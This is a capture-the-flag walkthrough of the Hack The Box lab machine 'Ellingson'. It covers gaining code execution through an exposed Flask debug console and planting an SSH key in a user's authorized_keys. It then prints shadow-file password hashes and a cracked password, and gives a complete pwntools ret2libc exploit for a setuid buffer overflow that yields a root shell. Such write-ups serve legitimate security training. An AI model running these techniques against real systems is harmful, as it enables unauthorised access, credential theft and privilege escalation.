Details
This machine is Ellingson from Hack The Box
Recon
I started with a standard nmap scan
root@kali~# nmap -sV -p- -T4 10.10.10.139
Nmap scan report for 10.10.10.139
Host is up (0.031s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
User
I started by looking at the webserver then
Which had a weird comment in the html
I setup and ran dirbuster
Visiting each article in order, starting with 1
Then 2
Then 3
Finally I tried to look for an article 4 http://10.10.10.139/articles/4, which led to an error page
So it's a flask app, and has some kind of debug mode enabled, I tested it further by replacing the number in the url with a letter http://10.10.10.139/articles/a
At this point I realised that when I hover my mouse over an error, an icon shows up which opens an interactive python terminal
I tried putting a python reverse shell in but had no luck, so I instead imported the subprocess module and used it to enumerate
>>> import subprocess
>>> p = subprocess.Popen('ls', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
>>> p.stdout.readlines()
So I began to dig some more
I couldn't access most of the user's homes, but I could access hal's
>>> p = subprocess.Popen('ls /home/hal', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
>>> p.stdout.readlines()
[]
So I decided to generate an ssh key and see if I could write it in for hal
>>> f = open("/home/hal/.ssh/authorized_keys", "w")
>>> f.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUddrkEMZLho5ITM2zdV8xUoq/16+D2hzaWsRt1WmFJug4TynjKDiCUXyqv32+Q5KIjnz4tkYJPfVAE5l/9yg5wuWrPqQ2bs+58XJd0VoE6iiXB0gGRdv8+wg9EzSgA1Vil8BWjWDLWlLBhkl1leRj+TmDRGS5maub1zwzxkoYruGkXZQXP10DJ8wIte1U6OzCEcab39IeGeNHzxkErP/ydzK7QzUtkDvEqxUGJ2irjJPiQsRAbRnEyjaXUIa/ib8oN+6MYGOrXb0tw05pVI4xZj42qrbWyv2EsDKsKPTYvQzprvuBK9ByuqvSXbdxGR0AoPPr14gMTTAfEAAGaXkr root@kali")
390
>>> f.flush()
>>> f.close()
To test it, I tried to ssh in
root@kali:~# ssh hal@10.10.10.139 -i ./id_rsa
hal@ellingson:~$
So I was logged in as hal, but no user flag yet. I first looked for suid binaries
hal@ellingson:~$ find / -perm -u=s 2>/dev/null
[SNIP]
/usr/bin/garbage
[SNIP]
hal@ellingson:~$ garbage
User is not authorized to access this application. This attempt has been logged.
hal@ellingson:~$ cd /usr/bin
hal@ellingson:/usr/bin $ ls -la
[SNIP]
-rwsr-xr-x 1 root root 18056 Mar 9 21:04 garbage
[SNIP]
It would run as root, but I couldn't run it properly yet. So, I moved on for other targets, in this case, I found the shadow.bak file in /var/backups
was readable by the adm group. I was in that group
hal@ellingson:/var/backups$ ll
total 708
drwxr-xr-x 2 root root 4096 May 7 13:14 ./
drwxr-xr-x 14 root root 4096 Mar 9 19:12 ../
-rw-r--r-- 1 root root 61440 Mar 10 06:25 alternatives.tar.0
-rw-r--r-- 1 root root 8255 Mar 9 22:20 apt.extended_states.0
-rw-r--r-- 1 root root 437 Jul 25 2018 dpkg.diversions.0
-rw-r--r-- 1 root root 295 Mar 9 22:21 dpkg.statoverride.0
-rw-r--r-- 1 root root 615441 Mar 9 22:21 dpkg.status.0
-rw------- 1 root root 811 Mar 9 22:21 group.bak
-rw------- 1 root shadow 678 Mar 9 22:21 gshadow.bak
-rw------- 1 root root 1757 Mar 9 22:21 passwd.bak
-rw-r----- 1 root adm 1309 Mar 9 20:42 shadow.bak
hal@ellingson:/var/backups$ id
uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)
So I took a look at the hashes
hal@ellingson:/var/backups$ cat shadow.bak
root:*:17737:0:99999:7:::
daemon:*:17737:0:99999:7:::
bin:*:17737:0:99999:7:::
sys:*:17737:0:99999:7:::
sync:*:17737:0:99999:7:::
games:*:17737:0:99999:7:::
man:*:17737:0:99999:7:::
lp:*:17737:0:99999:7:::
mail:*:17737:0:99999:7:::
news:*:17737:0:99999:7:::
uucp:*:17737:0:99999:7:::
proxy:*:17737:0:99999:7:::
www-data:*:17737:0:99999:7:::
backup:*:17737:0:99999:7:::
list:*:17737:0:99999:7:::
irc:*:17737:0:99999:7:::
gnats:*:17737:0:99999:7:::
nobody:*:17737:0:99999:7:::
systemd-network:*:17737:0:99999:7:::
systemd-resolve:*:17737:0:99999:7:::
syslog:*:17737:0:99999:7:::
messagebus:*:17737:0:99999:7:::
_apt:*:17737:0:99999:7:::
lxd:*:17737:0:99999:7:::
uuidd:*:17737:0:99999:7:::
dnsmasq:*:17737:0:99999:7:::
landscape:*:17737:0:99999:7:::
pollinate:*:17737:0:99999:7:::
sshd:*:17737:0:99999:7:::
theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::
hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::
margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::
The important ones were
theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/
hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30
margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1
duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/
Which I saved in a file. I also noted that in article 3 from the website, they had said the most common passwords included the following words
love
secret
sex
god
So I created a filtered wordlist from rockyou
root@kali:~# cat /usr/share/wordlists/rockyou.txt | grep -i -E "love|secret|sex|god" > filtered.txt
Which I used to brute force the hashes
root@kali:~# john crack.txt --wordlist=./filtered.txt --format=sha512crypt
[SNIP]
iamgod$08 (margo)
[SNIP]
So I can now ssh in as margo
ssh margo@10.10.10.139
margo@ellingson:~$
margo@ellingson:~$ ls -la
total 52
drwxrwx--- 6 margo margo 4096 Mar 10 22:14 .
drwxr-xr-x 6 root root 4096 Mar 9 19:21 ..
-rw-r--r-- 1 margo margo 220 Mar 9 19:20 .bash_logout
-rw-r--r-- 1 margo margo 3771 Mar 9 19:20 .bashrc
drwx------ 2 margo margo 4096 Mar 10 18:29 .cache
drwx------ 3 margo margo 4096 Mar 10 18:29 .gnupg
drwxrwxr-x 3 margo margo 4096 Mar 10 21:53 .local
-rw-r--r-- 1 margo margo 807 Mar 9 19:20 .profile
drwx------ 2 margo margo 4096 Mar 9 19:29 .ssh
-r-------- 1 margo margo 33 Mar 10 18:40 user.txt
-rw------- 1 margo margo 9539 Mar 10 22:14 .viminfo
And can get the user flag
margo@ellingson:~$ cat user.txt
[REDACTED]
Root
I then tested if I could run the suid binary from earlier
margo@ellingson:~$ garbage
Enter access password:
It was asking for input, so I wanted to see if I could crash it
margo@ellingson:~$ python -c "print('A'*1000)" | garbage
Enter access password:
access denied.
Segmentation fault (core dumped)
I could, so I began to work on an exploit for this program, first checking if I needed to worry about ASLR
margo@ellingson:~$ cat /proc/sys/kernel/randomize_va_space
2
And inspecting the binary itself
margo@ellingson:~$ file /usr/bin/garbage
/usr/bin/garbage: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=de1fde9d14eea8a6dfd050fffe52bba92a339959, not stripped
Having gathered the required details, I used scp to download a copy of the binary to my local machine for analysis. This exploit was very similar to Bitterman, for which there is an excellent video by IppSec
First, I wanted to check which protections the program has
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
No PIE or Canaries thankfully, but with NX enabled standard shellcode techniques won't work, so this will be a ROP chain. Furthermore, ASLR is enabled and the binary is 64bit. Bruteforcing this is unfeasible, so I needed an information leak.
Next in the process was determining if I could control the instruction pointer, so I generated and fed in a pattern
gdb-peda$ pattern create 500 input
Writing pattern of 500 chars to filename "input"
gdb-peda$ run <<< $(cat input)
gdb-peda$ pattern search
Registers contain pattern buffer:
RBP+0 found at offset: 128
Registers point to pattern buffer:
[RSP] --> offset 136 - size ~203
[R13] --> offset 384 - size ~116
Pattern buffer found at:
0x0119fdd0 : offset 0 - size 500 ([heap])
0x00007ffc1338e770 : offset 1 - size 48 ($sp + -0x248 [-146 dwords])
0x00007ffc1338e7b0 : offset 484 - size 16 ($sp + -0x208 [-130 dwords])
0x00007ffc1338e930 : offset 0 - size 500 ($sp + -0x88 [-34 dwords])
References to pattern buffer found at:
0x00007fc39e4faa18 : 0x0119fdd0 (/usr/lib/x86_64-linux-gnu/libc-2.28.so)
0x00007fc39e4faa20 : 0x0119fdd0 (/usr/lib/x86_64-linux-gnu/libc-2.28.so)
0x00007fc39e4faa28 : 0x0119fdd0 (/usr/lib/x86_64-linux-gnu/libc-2.28.so)
0x00007fc39e4faa30 : 0x0119fdd0 (/usr/lib/x86_64-linux-gnu/libc-2.28.so)
0x00007fc39e4faa38 : 0x0119fdd0 (/usr/lib/x86_64-linux-gnu/libc-2.28.so)
0x00007ffc1338df18 : 0x00007ffc1338e7b0 ($sp + -0xaa0 [-680 dwords])
0x00007ffc1338e3c0 : 0x00007ffc1338e7b0 ($sp + -0x5f8 [-382 dwords])
This shoed me my offset should be at 136, so I tested this
Note: I really should have used 6 B's in the next bit, but it didn't actually matter
gdb-peda$ run <<< $(python -c "print('A'*136 + 'BBBB')")
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7f00ec46d504 (<__GI___libc_write+20>: cmp rax,0xfffffffffffff000)
RDX: 0x7f00ec5408c0 --> 0x0
RSI: 0x16b69c0 ("access denied.\nssword: \n\260ik\001")
RDI: 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7ffebafd9da0 --> 0x7ffebafd9e90 --> 0x1
RIP: 0x42424242 ('BBBB')
R8 : 0x7f00ec545500 (0x00007f00ec545500)
R9 : 0x7f00ec53f848 --> 0x7f00ec53f760 --> 0xfbad2a84
R10: 0xfffffffffffff638
R11: 0x246
R12: 0x401170 (<_start>: xor ebp,ebp)
R13: 0x7ffebafd9e90 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0x7ffebafd9da0 --> 0x7ffebafd9e90 --> 0x1
0008| 0x7ffebafd9da8 --> 0x0
0016| 0x7ffebafd9db0 --> 0x401740 (<__libc_csu_init>: push r15)
0024| 0x7ffebafd9db8 --> 0x7f00ec3a709b (<__libc_start_main+235>: mov edi,eax)
0032| 0x7ffebafd9dc0 --> 0x0
0040| 0x7ffebafd9dc8 --> 0x7ffebafd9e98 --> 0x7ffebafdb548 ("/root/Documents/ellingson/garbage")
0048| 0x7ffebafd9dd0 --> 0x100040000
0056| 0x7ffebafd9dd8 --> 0x401619 (<main>: push rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000042424242 in ?? ()
The instruction pointer was successfully replaced by the B's, so the offset is correct and I can begin working on the chain. I needed to know the libc version on the target machine.
margo@ellingson:~$ ldd --version
ldd (Ubuntu GLIBC 2.27-3ubuntu1) 2.27
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
And then I needed offsets for various pieces of data, the intention will be to call puts, passing in a pointer to puts as the parameter, which will cause the runtime location of puts to be printed, I can then use the libc base value of puts to calculate the ASLR offset allowing me to call other functions.
margo@ellingson:~$ objdump -D /usr/bin/garbage | grep puts
0000000000401050 <puts@plt>:
401050: ff 25 d2 2f 00 00 jmpq *0x2fd2(%rip) # 404028 <puts@GLIBC_2.2.5>
401321: e8 2a fd ff ff callq 401050 <puts@plt>
401334: e8 17 fd ff ff callq 401050 <puts@plt>
4014c3: e8 88 fb ff ff callq 401050 <puts@plt>
4015fa: e8 51 fa ff ff callq 401050 <puts@plt>
40160d: e8 3e fa ff ff callq 401050 <puts@plt>
401651: e8 fa f9 ff ff callq 401050 <puts@plt>
40165d: e8 ee f9 ff ff callq 401050 <puts@plt>
401669: e8 e2 f9 ff ff callq 401050 <puts@plt>
401675: e8 d6 f9 ff ff callq 401050 <puts@plt>
401681: e8 ca f9 ff ff callq 401050 <puts@plt>
40168d: e8 be f9 ff ff callq 401050 <puts@plt>
401699: e8 b2 f9 ff ff callq 401050 <puts@plt>
40171c: e8 2f f9 ff ff callq 401050 <puts@plt>
So
401050 for plt
404028 for got
I also needed a pop rdi gadget to put the parameter for puts in the required register
root@kali:~# ropper -f ./garbage --search "pop rdi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi
[INFO] File: ./garbage
0x000000000040179b: pop rdi; ret;
That's what I needed for an info leak, but once I have that I need to recall the main function to stop the program crashing (as a crash / reboot of the whole program would re randomise ASLR)
margo@ellingson:~$ objdump -D /usr/bin/garbage | grep main
401194: ff 15 56 2e 00 00 callq *0x2e56(%rip) # 403ff0 <__libc_start_main@GLIBC_2.2.5>
0000000000401619 <main>:
401644: 0f 84 e6 00 00 00 je 401730 <main+0x117>
4016cd: 74 24 je 4016f3 <main+0xda>
4016d2: 7f 07 jg 4016db <main+0xc2>
4016d7: 74 0e je 4016e7 <main+0xce>
4016d9: eb 3a jmp 401715 <main+0xfc>
4016de: 74 1f je 4016ff <main+0xe6>
4016e3: 74 26 je 40170b <main+0xf2>
4016e5: eb 2e jmp 401715 <main+0xfc>
4016f1: eb 38 jmp 40172b <main+0x112>
4016fd: eb 2c jmp 40172b <main+0x112>
401709: eb 20 jmp 40172b <main+0x112>
40172b: e9 6e ff ff ff jmpq 40169e <main+0x85>
With the infoleak in place, I needed to know the base address of puts to get the offset, and system to have the offset applied
margo@ellingson:~$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep puts
191: 00000000000809c0 512 FUNC GLOBAL DEFAULT 13 _IO_puts@@GLIBC_2.2.5
422: 00000000000809c0 512 FUNC WEAK DEFAULT 13 puts@@GLIBC_2.2.5
496: 00000000001266c0 1240 FUNC GLOBAL DEFAULT 13 putspent@@GLIBC_2.2.5
678: 00000000001285d0 750 FUNC GLOBAL DEFAULT 13 putsgent@@GLIBC_2.10
1141: 000000000007f1f0 396 FUNC WEAK DEFAULT 13 fputs@@GLIBC_2.2.5
1677: 000000000007f1f0 396 FUNC GLOBAL DEFAULT 13 _IO_fputs@@GLIBC_2.2.5
2310: 000000000008a640 143 FUNC WEAK DEFAULT 13 fputs_unlocked@@GLIBC_2.2.5
margo@ellingson:~$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
232: 0000000000159e20 99 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.2.5
607: 000000000004f440 45 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1403: 000000000004f440 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5
I also need a reference to the string "/bin/sh" for the parameter of system
margo@ellingson:~$ strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
1b3e9a /bin/sh
In theory this was all I needed, but I kept getting some issues. It occurred that maybe the binary didn't actually call setuid to gain the root privs, so I added a call to setuid to the rop chain
margo@ellingson:~$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep setuid
23: 00000000000e5970 144 FUNC WEAK DEFAULT 13 setuid@@GLIBC_2.2.5
Which resulted in my final exploit of
from pwn import *
import warnings
warnings.filterwarnings(action='ignore',module='.*paramiko.*')
context(os='linux', arch='amd64')
#context.log_level = 'DEBUG'
server = ssh(host='10.10.10.139', user='margo', password='iamgod$08')
process = server.process('/usr/bin/garbage')
OVERWRITE_OFFSET = 136
GARBAGE = 'A' * OVERWRITE_OFFSET
PLT_PUT = p64(0x401050)
GOT_PUT = p64(0x404028)
POP_RDI = p64(0x40179b)
MAIN = p64(0x401619)
AUTH = p64(0x401513)
stage_one = GARBAGE + POP_RDI + GOT_PUT + PLT_PUT + MAIN
process.sendline(stage_one)
process.recvuntil('denied.')
leaked_puts = process.recvn(8).strip().ljust(8,'\x00')
log.success("Leaked puts: " + str(leaked_puts))
leaked_address = u64(leaked_puts)
log.success("Leaked after unpack: " + hex(leaked_address))
LIBC_PUTS = 0x809c0
LIBC_SYSTEM = 0x4f440
LIBC_SH = 0x1b3e9a
LIBC_SETUID = 0xe5970
offset = leaked_address - LIBC_PUTS
log.info("Offset is :" + str(offset))
live_system = p64(LIBC_SYSTEM + offset)
live_sh = p64(LIBC_SH + offset)
live_setuid = p64(LIBC_SETUID + offset)
SETUID_PARAM = '\x00' * 8
stage_two = GARBAGE + POP_RDI + SETUID_PARAM + live_setuid + POP_RDI + live_sh + live_system
process.sendline(stage_two)
process.recvuntil('denied.')
process.interactive()
Which I ran
python exploit.py
[+] Connecting to 10.10.10.139 on port 22: Done
[*] margo@10.10.10.139:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 4.15.0
ASLR: Enabled
[+] Starting remote process '/usr/bin/garbage' on 10.10.10.139: pid 25758
[+] Leaked puts: ��> �
[+] Leaked after unpack: 0x7ff7093ed9c0
[*] Offset is :140698988236800
[*] Switching to interactive mode
$id
uid=0(root) gid=1002(margo) groups=1002(margo)
I was now root and could claim my flag
$ cd /root
$ ls -la
total 60
drwx------ 4 root root 4096 May 1 18:51 .
drwxr-xr-x 23 root root 4096 Mar 9 18:56 ..
-rw------- 1 root root 955 May 1 18:51 .bash_history
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
-rw------- 1 root root 34 May 1 18:46 .lesshst
drwxr-xr-x 3 root root 4096 Mar 9 19:43 .local
-rw-r--r-- 1 root root 163 Mar 10 22:34 .profile
-r-------- 1 root root 33 Mar 10 18:40 root.txt
-rw-r--r-- 1 root root 75 Mar 9 22:05 .selected_editor
drwx------ 2 root root 4096 Mar 9 19:49 .ssh
-rw------- 1 root root 17864 May 1 18:51 .viminfo
$ cat root.txt
[REDACTED]